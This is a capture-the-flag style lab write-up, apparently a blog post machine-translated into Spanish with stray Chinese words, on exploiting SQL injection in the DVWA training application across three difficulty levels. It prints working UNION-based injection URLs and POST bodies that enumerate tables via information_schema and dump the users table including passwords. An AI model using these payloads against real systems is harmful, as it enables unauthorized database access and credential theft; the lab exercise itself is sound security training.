Autorización de inyección DVWA-SQL

Autorización DVWA-SQLi

Primario: obtención del número de versión de la base de datos

Determinar el tipo de inyección.

Pruebe con comillas simples y dobles una por una, y descubra que las comillas simples causarán un error, pero las comillas dobles no informarán un error, por lo que es un tipo de cadena que usa comillas simples.

en conclusión:

En la inyección de caracteres, qué símbolo causa un error, representa la inyección de caracteres de qué símbolo

ordenar por número de campos inferidos

http://localhost/dv/vulnerabilities/sqli/?id=2' order by 2--+ &Submit=Submit#

Número de versión de la base de datos de consulta de inyección conjunta

http://localhost/dv/vulnerabilities/sqli/?id=2' and 1=2 union select version(),2--+ &Submit=Submit#

imagen-20230823193620363

Intermedio: obtener el nombre de la base de datos

Juzgando el estado del eco:

imagen-20230823195428492

Se encontró que tenía un eco.

Determine el tipo de inyección: pruebe con cotizaciones

imagen-20230823195333605

Resulta que nuestras citas se escaparon.

ordenar por calcula el número de campos

Suponiendo que es de tipo numérico y debido a que tiene eco, intente usar ordenar por para calcular el campo.

imagen-20230823195630697

Cuando llegue a 3, se informará un error, para que pueda saber que el número de campos es 2

Obtener ubicación de eco de datos

post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,2

imagen-20230823195827745

consulta conjunta

El nombre de la base de datos se puede obtener mediante una consulta conjunta sindical.

post请求(如图):
Submit=Submit&id=2 and 1=2 union select 1,database()

imagen-20230823195917996

auditoría del código fuente

imagen-20230823200055912

Dado que la función mysqli_real_escape_string() se usa en el código fuente para escapar de los datos que ingresamos, no se puede usar la inyección de caracteres. Sin embargo, la declaración en el código fuente no es una inyección de caracteres, sino una inyección numérica, y debido a que la página hace eco, Entonces puedes usar la inyección conjunta para obtener el nombre de la base de datos.

Avanzado: obtenga cualquier contenido

El nivel avanzado es en realidad similar al nivel intermedio, ambos usan inyección conjunta, la diferencia es que el nivel avanzado debe cerrarse con comillas simples y este nivel no tiene la función mysqli_real_escape_string() para escapar del contenido que ingresamos.

Eco del juicio

Al ingresar diferentes ID, se descubre que se muestran diferentes resultados en la página, confirme que hay un eco

Determinar el tipo de inyección.

Al probar comillas simples y comillas dobles, se descubre que las comillas simples informan un error, por lo que el tipo de inyección es un tipo de cadena de comillas simples.

imagen-20230823201548284

El número de campos calculados por orden es 2

http://localhost/dv/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#

imagen-20230823201830093

Determinar la posición del eco.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2--+&Submit=Submit#

imagen-20230823201853005

Para que pueda obtener contenido arbitrario mediante inyección conjunta

obtener la versión de la base de datos

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select database(),version()--+&Submit=Submit#

imagen-20230823202013802

Base de datos: dvwa

Versión: 5.5.53

Obtener las tablas en la base de datos.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&Submit=Submit#

imagen-20230823202120118

表:libro de visitas,usuarios

Obtener los campos de la tabla del libro de visitas.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="guestbook"--+&Submit=Submit#

imagen-20230823202331325

Campos de la tabla del libro de visitas: comment_id, comentario, nombre

Obtenga todos los datos de la tabla del libro de visitas.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(comment_id,'--',comment,'--',name),2 from dvwa.guestbook --+&Submit=Submit#

imagen-20230823204247546

datos:1--This is a test comment.--test

Obtener los campos de la tabla de usuarios.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"--+&Submit=Submit#	

imagen-20230823202451136

usuarios表的字段:id_usuario,nombre,apellido,usuario,contraseña,avatar,último_inicio de sesión,inicio de sesión fallido

Obtener todos los datos en la tabla de usuarios.

http://localhost/dv/vulnerabilities/sqli/?id=1' and 1=2 union select CONCAT(user_id,'--',first_name,'--',last_name,'--',user,'--',password,'--',avatar,'--',last_login,'--',failed_login),2 from dvwa.users --+&Submit=Submit#

imagen-20230823204122507

Supongo que te gusta

Origin blog.csdn.net/weixin_46367450/article/details/132461110
Recomendado
Clasificación